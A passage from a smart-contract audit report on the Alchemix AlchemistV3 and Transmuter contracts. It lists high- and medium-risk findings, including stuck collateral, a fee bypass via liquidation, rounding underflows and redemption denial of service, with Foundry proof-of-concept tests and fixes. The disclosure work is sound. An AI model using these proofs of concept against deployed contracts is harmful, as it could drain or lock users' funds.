contract MockERC4626 is ERC4626 {
    constructor(IERC20 asset, string memory name, string memory symbol) ERC4626(asset) ERC20(name, symbol) {}

    //note: for our liquidation test to decrease yeild token value
    function withdrawToDecreaseTokenValue(uint amount, address receiver) external {
        IERC20(asset()).transfer(receiver, amount);
    }

}




contract alchemistTest is Test {
    uint256 public constant FIXED_POINT_SCALAR = 1e18;
    uint256 public minimumCollateralization = 1.5e18; // 150%
    uint256 public liquidatorFeeBPS = 0; // @audit 0 for this example since we do not set up fee vault

    AlchemistV3 public alchemist;

    AlEth public alEth;
    MockERC20 public mockUnderlyingToken;
    MockERC4626 public mockYieldToken;
    EulerUSDCAdapter public tokenAdapter;
    Transmuter public transmuter;
    AlchemistV3Position public alchemistNFT;



    address public admin = makeAddr("adminAddr");

    address public protocolFeeReceiver = makeAddr("protocolFeeReceiverAddr");
    address public liquidator = makeAddr("liquidatorAddr");
    address public liquidatorFeeReceiver = makeAddr("liquidatorFeeReceiverAddr");


    function setUp() public {
        vm.startPrank(admin);
        alchemist = new AlchemistV3();
        alEth = new AlEth();
        alEth.setWhitelist(address(alchemist), true);

        mockUnderlyingToken = new MockERC20("Mock Underlying Token", "MUT");
        mockYieldToken = new MockERC4626(mockUnderlyingToken, "Mock Yield Token", "MYT");
```

```
    tokenAdapter = new EulerUSDCAdapter(address(mockYieldToken), address(mockUnderlyingToken));

    ITransmuter.TransmuterInitializationParams memory transParams =
    ↪  ITransmuter.TransmuterInitializationParams({
        syntheticToken: address(alEth),
        feeReceiver: address(this),
        timeToTransmute: 5_256_000,
        transmutationFee: 0, // fees 0 for now
        exitFee: 0,
        graphSize: 52_560_000
    });
    transmuter = new Transmuter(transParams);
    transmuter.setAlchemist(address(alchemist));
    transmuter.setDepositCap(1000000 ether);

    AlchemistInitializationParams memory params = AlchemistInitializationParams({
        admin: address(admin),
        debtToken: address(alEth),
        underlyingToken: address(mockUnderlyingToken),
        yieldToken: address(mockYieldToken),
        depositCap: type(uint256).max,
        blocksPerYear: 2_600_000,
        minimumCollateralization: minimumCollateralization,
        globalMinimumCollateralization: 2e18, // 200%
        collateralizationLowerBound: 1.2e18, // 120%
        tokenAdapter: address(tokenAdapter),
        transmuter: address(transmuter),
        protocolFee: 0,
        protocolFeeReceiver: address(protocolFeeReceiver),
        liquidatorFee: liquidatorFeeBPS
    });
    // Initialize the Alchemist contract with the parameters
    alchemist.initialize(params);

    alchemistNFT = new AlchemistV3Position(address(alchemist));


    alchemist.setAlchemistPositionNFT(address(alchemistNFT));
    vm.stopPrank();
}

address public provider = makeAddr("provider");
address public bob = makeAddr("bob");
address public otherUsers = makeAddr("otherUsers");

function testLiquidateFullDebtIssue() public {
    // min coll 150%, min lower bound 120%

    // provider
    vm.startPrank(provider);
    mockUnderlyingToken.mint(provider, 1_000_000 ether);
    mockUnderlyingToken.approve(address(mockYieldToken), 1_000_000 ether);
    mockYieldToken.deposit(1_000_000 ether, provider);


    // bob mints 100 debt for 150 coll when debt to coll is 1:1
    mockYieldToken.transfer(bob, 150 ether);
    vm.startPrank(bob);
    mockYieldToken.approve(address(alchemist), 150 ether);
    alchemist.deposit(150 ether, bob, 0); // id = 1
    alchemist.mint(1, 100 ether, bob);
    vm.roll(block.number + 1);

    // yieldToken value decreases(by half for example), now 1 yieldToken = 0.5 debtToken || 1 debtToken = 2
    ↪  yieldTookens
    // very dramatic, but this is just for test to make it easy
    mockYieldToken.withdrawToDecreaseTokenValue(500_000 ether, address(1));

    // since bob is now liquidatable we try to liquidate but it will revert because the amount to transfer
    ↪  to transmuter is not adjusted and there is not enough of it in the contract
    vm.expectRevert();
    alchemist.liquidate(1);

    // other user also has some deposits in the system
    vm.startPrank(provider);
```

```
        mockYieldToken.transfer(otherUsers, 100 ether);
        vm.startPrank(otherUsers);
        mockYieldToken.approve(address(alchemist), 100 ether);
        alchemist.deposit(100 ether, otherUsers, 0); // id = 2
        vm.roll(block.number + 1 + 1);

        // bob's position can now get liquidated because the contract will use other users deposits to
        ↪  liquidate bob's position
        alchemist.liquidate(1);

        // other user has just deposited and never took any debt so they should be able to withdraw all his
        ↪  tokens back but it will revert as it is used to liquidate bob's position
        vm.startPrank(otherUsers);
        vm.expectRevert();
        alchemist.withdraw(100 ether, otherUsers, 2);
        console.log("yieldToken amount in the contract after bob's position was liquidated: ",
        ↪  mockYieldToken.balanceOf(address(alchemist)));

        // bob's collateral balance is adjusted but the amount sent to transmuter is never adjusted, meaning we
        ↪  have used the collateral tokens deposited by the other user to liquidate bob's position

    }

}
```

Run `forge test --mt testLiquidateFullDebtIssue -vvv` and check the output:

```
[PASS] testLiquidateFullDebtIssue() (gas: 993428)
Logs:
  yieldToken amount in the contract after bob's position was liquidated:  50000000000000000000
```

The other user although not taking any debt sees that some of his deposits are used to repay Bob's debt. This should never happen for the user.

Recommendation:

```
if (adjustedDebtToBurn > account.collateralBalance) {
    adjustedDebtToBurn = account.collateralBalance
}
```

Do this before transferring funds to the transmuter.

3.1.18 Missing update in `_sync()` causes users funds to get stuck

Submitted by falconhoof, also found by T1MOH, T1MOH, onthehunt11, Josh4324, softdev323, Topmark, Bigsam, Coachmike, Cybrid, 0xisboss, touthang, Araj, Araj, 0xNForcer, KrisRenZo, hrmneffdii, samm, figtracer and 0xrex

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: `_sync()` doesn't update `account.freeCollateral`, which can lead to users' funds being stuck in the contract.

Finding Description: In `_sync()`, after users claim redemptions, the contract correctly reduces `account.rawLocked` based on the amount of their collateral used to pay out the redemption. However, it doesn't update `account.freeCollateral`, which means users won't be able to withdraw all their collateral or mint new debt as they should be able to.

```
account.earmarked = earmarkedState - earmarkToRedeem;
account.debt -= earmarkToRedeem;
account.lastAccruedRedemptionWeight = _redemptionWeight;
account.lastAccruedEarmarkWeight = _earmarkWeight;

// Redeem user collateral equal to value of debt tokens redeemed
account.collateralBalance -= collateralToRemove; // @audit : missing increase to freeCollateral
account.rawLocked -= collateralToRemove;
account.lastCollateralWeight = _collateralWeight;
```

This means that if a user takes a loan that gets paid off completely through redemptions reducing the debt, user won't be able to access their leftover funds or mint new debt due to `account.freeCollateral`

not updating correctly. Since there's no sweep function, these funds remain stuck in the AlchemistV3.sol contract. The test below shows this scenario.

Impact Explanation: Lost user funds.

Proof of Concept: Add the following test to `AlchemistV3Test.t.sol` and run:

```
function testDebtMintingRedemptionWithdraw() external {
    uint256 amount = 100e18;
    address debtor = address(0xbeef);
    address redeemer = address(0xdad);

    // Mint debt tokens
    vm.startPrank(debtor);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, debtor, 0);
    uint256 tokenId = 1;
    uint256 maxBorrowable = alchemist.getMaxBorrowable(tokenId);
    alchemist.mint(tokenId, maxBorrowable, debtor);
    vm.stopPrank();

    // Create Redemption
    vm.startPrank(redeemer);
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), maxBorrowable);
    transmuterLogic.createRedemption(maxBorrowable);
    vm.stopPrank();

    // Advance time to complete redemption
    vm.roll(block.number + 5_256_000);

    // Claim Redemption
    vm.startPrank(redeemer);
    transmuterLogic.claimRedemption(1);
    vm.stopPrank();

    // Check debt has been reduced to zero
    (uint256 collateral, uint256 debt, uint256 earmarked) = alchemist.getCDP(tokenId);
    assertApproxEqAbs(debt, 0, 1);
    assertApproxEqAbs(earmarked, 0, 1);

    // Attempt to withdraw remaining collateral
    assertTrue(collateral > 0);
    vm.expectRevert();
    alchemist.withdraw(collateral, debtor, tokenId);
}
```

Recommendation: Increase `account.freeCollateral` in the `_sync()` function.

3.1.19 `claimRedemption()` perpetually charges redeemers due to stagnant `badDebtRatio`

Submitted by falconhoof, also found by 0xmechanic, CAUsr, touthang, 4mj3x, KrisRenZo, Bigsam and KrisRenZo

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The claimRedemption() function keeps charging users indefinitely because the `badDebtRatio` (BDR) never improves, as the protocol fails to transfer funds from the transmuter back to AlchemistV3.

Finding Description: During the redemption process, the protocol calculates the `BDR` to determine how much bad debt it has incurred. It then reduces the amount of collateral given to users to compensate for the bad debt and bring the protocol back into equilibrium.

However, the problem arises because the protocol never transfers redeemed funds from the transmuter back to `AlchemistV3`. Since the BDR calculation is based solely on assets within AlchemistV3, the ratio remains stagnant even after the protocol gathers more than enough funds.

```
if (badDebtRatio > 1e18) {
    claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
    feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
}

// @audit : no transfer to AlchemixV3
TokenUtils.safeTransfer(alchemist.yieldToken(), msg.sender, alchemist.convertDebtTokensToYield(claimAmount));
TokenUtils.safeTransfer(alchemist.yieldToken(), protocolFeeReceiver,
↪  alchemist.convertDebtTokensToYield(feeAmount));
```

Impact Explanation:

- Repeg functionality broken.
- Bad debt increases.
- Redeemers lose funds.

Proof of Concept: Add the following test to `AlchemistV3Test.t.sol` and run:

```
function testBDR_fundsNotTransferred() external {

    uint256 amount = 1e18;
    address debtor = address(0xbeef);
    address alice = address(0xdad);

    vm.startPrank(address(someWhale));
    fakeYieldToken.mint(amount * 2, address(someWhale));
    vm.stopPrank();

    // Mint debt tokens to debtor
    vm.startPrank(debtor);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount*2);
    alchemist.deposit(amount, debtor, 0);
    uint256 tokenDebtor = 1;
    uint256 maxBorrowable = alchemist.getMaxBorrowable(tokenDebtor);
    alchemist.mint(tokenDebtor, maxBorrowable, debtor);
    vm.stopPrank();

    (, uint256 debt,) = alchemist.getCDP(tokenDebtor);

    // Create Redemption
    vm.startPrank(alice);
    uint256 redemption = debt / 2;
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), amount);
    transmuterLogic.createRedemption(redemption);
    uint256 aliceId = 1;
    vm.stopPrank();

    address admin = transmuterLogic.admin();
    vm.startPrank(admin);
    transmuterLogic.setTransmutationFee(0);
    vm.stopPrank();

    // Advance time to complete redemption
    vm.roll(block.number + 5_256_000);

    uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();

    // transfer out tokens to mimick bad debt
    vm.startPrank(address(alchemist));
    fakeYieldToken.transfer(address(0xdad), 5e17);
    vm.stopPrank();

    uint256 badDebtRatioAfter = alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
    // BDR will be 1.8 / 180%
    assertGt(badDebtRatioAfter, 1e18);
    assertEq(badDebtRatioAfter, 1.8e18);

    // Check balances after claim
    uint256 alchemistYTBefore = fakeYieldToken.balanceOf(address(alchemist));
```

```
    vm.startPrank(alice);
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), amount);
    transmuterLogic.claimRedemption(aliceId);
    vm.stopPrank();

    uint256 alchemistYTAfter = fakeYieldToken.balanceOf(address(alchemist));

    // no return of funds for bad debt ratio adjustment
    assertEq(alchemistYTAfter, alchemistYTBefore - redemption);
}
```

Recommendation: Transfer the required repeg amount to the `AlchemixV3` contract.

3.2 Medium Risk

3.2.1 Precision loss in `Transmuter::claimRedemption()` may result in an arithmetic overflow and failed redemption

Submitted by joicygiore, also found by c0pp3rscr3w3r and KupiaSec

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Precision loss in `Transmuter::claimRedemption()` may result in an arithmetic overflow and failed redemption.

Finding Description: When the redemption creator calls `Transmuter::claimRedemption()` and `amountToRedeem > 0`, it proceeds to call `AlchemistV3::redeem()`. However, due to a rounding issue in `AlchemistV3::convertYieldTokensToDebt()`, the logic can be triggered incorrectly, leading to an arithmetic underflow.

```
// Transmuter::claimRedemption()
function claimRedemption(uint256 id) external {
    StakingPosition storage position = _positions[id];

    // SNIP...

    uint256 amountTransmuted = position.amount - amountNottransmuted; // <<<

    // SNIP...

    uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.yieldToken(), address(this));
    uint256 debtValue = alchemist.convertYieldTokensToDebt(yieldTokenBalance);
    uint256 amountToRedeem = amountTransmuted > debtValue ? amountTransmuted - debtValue : 0;
    if (amountToRedeem > 0) alchemist.redeem(amountToRedeem);

    // SNIP...
}

// AlchemistV3::redeem()
function redeem(uint256 amount) external onlyTransmuter {
    _earmark();

    // SNIP...
    _totalLocked = old - totalOut; // <<<

    // SNIP...

    emit Redemption(amount);
}
```

Impact Explanation: Low — This issue can cause an underflow during subtraction due to small rounding mismatches, preventing redemption from recovering `_totalLocked`.

Likelihood Explanation: High — The rounding discrepancy occurs consistently when debt value is slightly less than `amountTransmuted` due to precision loss.

Proof of Concept: To better illustrate the issue, the following logging code was added in `src/Transmuter.sol`:

```
+ import { console } from "forge-std/console.sol";

  function claimRedemption(uint256 id) external {
      // SNIP...
      uint256 amountTransmuted = position.amount - amountNottransmuted;
+     console.log("amountTransmuted:",position.amount);
      // SNIP...
      uint256 debtValue = alchemist.convertYieldTokensToDebt(yieldTokenBalance);
+     console.log("yieldTokenBalance:", yieldTokenBalance);
+     console.log("debtValue:", debtValue);
      // SNIP...
+     console.log("amountToRedeem:",amountToRedeem);
      if (amountToRedeem > 0) alchemist.redeem(amountToRedeem);
      // SNIP...
  }
```

Add the following test to `src/test/AlchemistV3.t.sol` to verify the issue:

```
function test_Poc_claimRedemption_error() external {
    uint256 amount = 200_000e18; // 200,000 yudai
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();

    ////////////////////////////////////////////////
    // yetAnotherExternalUser deposits 200_000e18 //
    ////////////////////////////////////////////////
    vm.startPrank(yetAnotherExternalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
    alchemist.deposit(amount, yetAnotherExternalUser, 0);
    vm.stopPrank();

    ////////////////////////////////
    // 0xbeef deposits 200_000e18 //
    ////////////////////////////////
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    uint256 mintAmount = alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR / minimumCollateralization;

    ////////////////////////////
    // 0xbeef mints debtToken //
    ////////////////////////////
    alchemist.mint(tokenIdFor0xBeef, mintAmount, address(0xbeef));
    vm.stopPrank();
    (, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);

    // check
    assertEq(debt, mintAmount);
    assertEq(alchemist.totalDebt(), mintAmount);

    // Need to start a transmutator deposit, to start earmarking debt
    vm.startPrank(anotherExternalUser);
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), mintAmount);
    transmuterLogic.createRedemption(mintAmount);
    vm.stopPrank();

    vm.roll(block.number + (5_256_000));

    // modify yield token price via modifying underlying token supply
    uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
    fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
    // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
    uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
    fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

    ////////////////////////////////
    // liquidate tokenIdFor0xBeef //
    ////////////////////////////////

    // let another user liquidate the previous user position
    vm.startPrank(externalUser);
    alchemist.liquidate(tokenIdFor0xBeef);
```

```
    vm.stopPrank();

    console.log("IERC20(alchemist.yieldToken()).balanceOf(address(transmuterLogic)):",
    ↪  IERC20(alchemist.yieldToken()).balanceOf(address(transmuterLogic)));

    ////////////////////////////////
    // claimRedemption() success //
    ////////////////////////////////
    vm.startPrank(anotherExternalUser);
    // [FAIL: panic: arithmetic underflow or overflow (0x11)]
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
    transmuterLogic.claimRedemption(1);
    vm.stopPrank();
}
```

Output:

```
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] test_Poc_claimRedemption_error() (gas: 2053258)
Logs:
  amountTransmuted: 180000000000000000018000
  yieldTokenBalance: 190620000000000000201675
  debtValue: 180000000000000000017999
  amountToRedeem: 1 # <@
```

Recommendation: The conversion functions in `AlchemistV3` should be reworked to avoid discrepancies caused by rounding:

```
// AlchemistV3::convertYieldTokensToDebt()
function convertYieldTokensToDebt(uint256 amount) public view returns (uint256) {
    return normalizeUnderlyingTokensToDebt(convertYieldTokensToUnderlying(amount));
}
// AlchemistV3::convertDebtTokensToYield(
function convertDebtTokensToYield(uint256 amount) public view returns (uint256) {
    return convertUnderlyingTokensToYield(normalizeDebtTokensToUnderlying(amount));
}
```

Consider applying a safer rounding method (e.g., rounding up or symmetric rounding) or introducing a tolerance threshold when comparing `amountTransmuted` and `debtValue`.

3.2.2 User can bypass `protocolFee` using `liquidate` instead of `repay` (_forceRepay)

Submitted by ZoA, also found by onthehunt11, greg, hrmneffdii, EddiePumpin, hrmneffdii, 0xisboss, 0xTheBlackPanther, hrmneffdii, Araj and BenRai

Severity: Medium Risk

Context: AlchemistV3.sol#L522, AlchemistV3.sol#L735.

Summary: `repay` transfers `protocolFee` from user to `protocolFeeReceiver` but `_forcerepay` doesn't deduct `protocolFee`. So user can bypass `protocolFee` using `liquidate`.

Finding Description: In `repay`, `protocolFee` is sent to `protocolFeeReceiver` and deducted from account. Furthermore, `_forceRepay` doesn't deduct `protocolFee`. When `collateralizationRatio <= collateralizationLowerBound`, user can call `liquidate` and if `account.earmarked > 0`, `_forceRepay` is called.

So user can call `liquidate` instead of `repay` in case of above.

Impact Explanation: User can bypass `protocolFee` but it doesn't drain protocol.Only `protocolFeeReciever` can't receive fee. So impact is medium.

Likelihood Explanation: Likelihood is medium because this happens when `collateralizationRatio <= collateralizationLowerBound` and `account.earmarked > 0`.

Proof of Concept:

```
function testLiquidate_Undercollateralized_Position_With_Earmarked_Debt_Sufficient_Repayment() external {
    uint256 amount = 200_000e18; // 200,000 yvdai
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();
```

```
        // just ensureing global alchemist collateralization stays above the minimum required for regular
        ↪  liquidations
        // no need to mint anything
        vm.startPrank(yetAnotherExternalUser);
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount * 2);
        alchemist.deposit(amount, yetAnotherExternalUser, 0);
        vm.stopPrank();

        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
        alchemist.deposit(amount, address(0xbeef), 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        uint256 mintAmount = alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
        ↪  minimumCollateralization;

        alchemist.mint(tokenIdFor0xBeef, mintAmount, address(0xbeef));
        vm.stopPrank();

        // Need to start a transmutator deposit, to start earmarking debt
        vm.startPrank(anotherExternalUser);
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), mintAmount);
        transmuterLogic.createRedemption(mintAmount);
        vm.stopPrank();

        // skip to a future block. Lets say 60% of the way through the transmutation period (5_256_000 blocks)
        vm.roll(block.number + (5_256_000 * 60 / 100));

        // Earmarked debt should be 60% of the total debt
        (uint256 prevCollateral, uint256 prevDebt, uint256 earmarked) = alchemist.getCDP(tokenIdFor0xBeef);
        require(earmarked == prevDebt * 60 / 100, "Earmarked debt should be 60% of the total debt");

        // modify yield token price via modifying underlying token supply
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
        uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

        // ensure initial debt is correct
        vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

        // let another user liquidate the previous user position
        vm.startPrank(externalUser);
        uint256 liquidatorPrevTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
        uint256 liquidatorPrevUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));

+       uint256 oldTotalDebt = alchemist.totalDebt();
+       assertEq(fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver()), 0);

        (uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenIdFor0xBeef);

+       uint256 newTotalDebt = alchemist.totalDebt();
+       assertEq(fakeYieldToken.balanceOf(alchemist.protocolFeeReceiver()), 0);

+       console.log("Decreased debt: ", oldTotalDebt - newTotalDebt);

        uint256 liquidatorPostTokenBalance = IERC20(fakeYieldToken).balanceOf(address(externalUser));
        uint256 liquidatorPostUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(externalUser));
        (uint256 depositedCollateral, uint256 debt,) = alchemist.getCDP(tokenIdFor0xBeef);

        vm.stopPrank();

        // ensure debt is reduced only by the repayment of max earmarked amount
        vm.assertApproxEqAbs(debt, prevDebt - earmarked, minimumDepositOrWithdrawalLoss);

        // ensure depositedCollateral is reduced only by the repayment of max earmarked amount
        vm.assertApproxEqAbs(depositedCollateral, prevCollateral - alchemist.convertDebtTokensToYield(earmarked),
        ↪  minimumDepositOrWithdrawalLoss);

        // ensure assets is equal to repayment of max earmarked amount
        vm.assertApproxEqAbs(assets, alchemist.convertDebtTokensToYield(earmarked),
        ↪  minimumDepositOrWithdrawalLoss);

        // ensure liquidator fee is correct (i.e.0, since only a repayment is done)
        vm.assertApproxEqAbs(feeInYield, 0, 1e18);
```

```
        vm.assertEq(feeInUnderlying, 0);

        // liquidator gets correct amount of fee, i.e. 0
        vm.assertApproxEqAbs(liquidatorPostTokenBalance, liquidatorPrevTokenBalance, 1e18);
        vm.assertEq(liquidatorPostUnderlyingBalance, liquidatorPrevUnderlyingBalance);
        vm.assertEq(alchemistFeeVault.totalDeposits(), 10_000 ether);
    }
```

Repaid tokens are transferred to `transmuter` and debt decreased but `protocolFeeReciever` didn't get any fee. If user calls `liquidate`, he can bypass fee for repaying.

Recommendation: `_forceRepay` have to deduct `protocolFee` from `account`.

3.2.3 If `minimumCollateralization` is increased, `claimRedemption()` will be DoSed because of underflow

Submitted by BenRai, also found by vesla0x1, phrax, T1MOH, silverologist, silverologist, lukaprini, CAUsr, willycode20, 0xchorintian, patitonar, patitonar, softdev323, hrmneffdii, edoscoba, 0xweb3boy, lyuboslav, greg, touthang, armormadeofwoe, danvinci, KrisRenZo, TamayoNft, Rolando, rokinot, 0xNForcer, ZoA, 0xl33 and Araj

Severity: Medium Risk

Context: AlchemistV3.sol#L585

Summary: If the variable `minimumCollateralization` is increased, `_subDebt()` will reduce `_totalLocked` by more than it should. This will result in a DOS of `claimRedemption()` because of underflow.

Finding Description: In the Alchemix protocol user can deposit collateral and use this collateral to mint debt tokens. To ensure not to much debt is minted, collateral valued at `debtValue * minimumCollateralization` is locked so it can not be used to borrow against. The total amount of locked collateral is tracked in the global variable `_totalLocked`. When a user calls `mint()` to create debt in from of alTokens, the internal function `_addDebt()` is called which increases the value of the global variable `_totalLocked`:

```
function _addDebt(uint256 tokenId, uint256 amount) internal {
    Account storage account = _accounts[tokenId];
    account.debt += amount;
    totalDebt += amount;

    // Update collateral variables
    uint256 toLock = convertDebtTokensToYield(amount) * minimumCollateralization / FIXED_POINT_SCALAR; // <<<

    if (account.freeCollateral < toLock) revert Undercollateralized();
    account.freeCollateral -= toLock;
    account.rawLocked += toLock;
    _totalLocked += toLock; // <<<
}
```

When debt is repaid through `_liquidate()`, `_forceRepay()`, `repay()` or `burn()`, the internal function `_subDebt` is called and the global variable `_totalLocked` is reduced by the amount of `debtValue * minimumCollateralization`:

```
function _subDebt(uint256 tokenId, uint256 amount) internal {
    Account storage account = _accounts[tokenId];
    account.debt -= amount;
    totalDebt -= amount;

    // Update collateral variables
    uint256 toFree = convertDebtTokensToYield(amount) * minimumCollateralization / FIXED_POINT_SCALAR; // <<<

    // For cases when someone above minimum LTV gets liquidated.
    if (toFree > _totalLocked) {
        toFree = _totalLocked;
    }

    _totalLocked -= toFree; // <<<
    account.rawLocked -= toFree;
    account.freeCollateral += toFree;
}
```

In case the valuation of `debtValue * minimumCollateralization` is bigger than the currently available `_totalLocked`, the amount is adjusted which prevents a revert because of underflow. An other function where `_totalLocked` is reduced is when `redeem()` is called:

```
function redeem(uint256 amount) external onlyTransmuter {
    _earmark();

    _redemptionWeight += PositionDecay.WeightIncrement(amount, cumulativeEarmarked);

    // Calculate current fee price
    uint256 collRedeemed = convertDebtTokensToYield(amount);
    uint256 feeCollateral = collRedeemed * protocolFee / BPS;
    uint256 totalOut = collRedeemed + feeCollateral;

    // Update weights and totals
    uint256 old = _totalLocked;
    _totalLocked = old - totalOut; // <<<
    // ...
}
```

The issue arises from the fact that in `redeem()` there is no protection against underflow in case `_totalLocked` is smaller than the amount that should be deducted. This will result in a DoS of the redeem function when `minimumCollateralization` is increased. The reason is that if `minimumCollateralization` was lower when debt was added than when it is removed, a higher value will be deducted from `_totalLocked` than it was added when the debt was created. Over time this will lead to a `_totalLocked` that is 0 which will DOS any attempt to call `redeem()`.

Impact Explanation: If the `minimumCollateralization` is increased, removing old debt will decrease `_totalLocked` by more than it has increased it when the debt was created. Once `_totalLocked` becomes lower than the value a user wants to recover when calling `redeem()`, redemption will no longer be possible.

Likelihood Explanation: This will happen every time `minimumCollateralization` is increased.

Proof of Concept: The following coded proof of concept shows that when a user mints debt, the `minimumCollateralization` is increased and he burns some of his debt, redemption of alTokens is no longer possible. To run the proof of concept, create a new file in the test folder and insert the following code in it. To run the test use the following command and replace `YOUR_FORK_URL` with a working fork url for the etherium mainnet:

```
forge test --fork-url YOUR_FORK_URL --fork-block-number 21835200 --mt
↪  testIncrease_minimumCollateralization_DOS_Redemption
```

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
```

```
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract AlchemistV3Test is Test {
    // ----- [SETUP] Variables for setting up a minimal CDP -----

    // Callable contract variables
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    // // Proxy variables
    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    // // Contract variables
    // CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
    AlchemistV3 alchemistLogic;
    Transmuter transmuterLogic;
    AlchemicTokenV3 alToken;
    Whitelist whitelist;

    // Token addresses
    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;
    // Total minted debt
    uint256 public minted;

    // Total debt burned
    uint256 public burned;

    // Total tokens sent to transmuter
    uint256 public sentToTransmuter;

    // Parameters for AlchemicTokenV2
    string public _name;
    string public _symbol;
    uint256 public _flashFee;
    address public alOwner;

    mapping(address => bool) users;

    uint256 public constant FIXED_POINT_SCALAR = 1e18;

    uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

    uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

    // ----- Variables for deposits & withdrawals -----

    // account funds to make deposits/test with
    uint256 accountFunds = 2_000_000_000e18;

    // large amount to test with
    uint256 whaleSupply = 20_000_000_000e18;

    // amount of yield/underlying token to deposit
    uint256 depositAmount = 100_000e18;

    // minimum amount of yield/underlying token to deposit
    uint256 minimumDeposit = 1000e18;

    // minimum amount of yield/underlying token to deposit
    uint256 minimumDepositOrWithdrawalLoss = FIXED_POINT_SCALAR;

    // random EOA for testing
    address externalUser = address(0x69E8cE9bFc01AA33cD2d02Ed91c72224481Fa420);

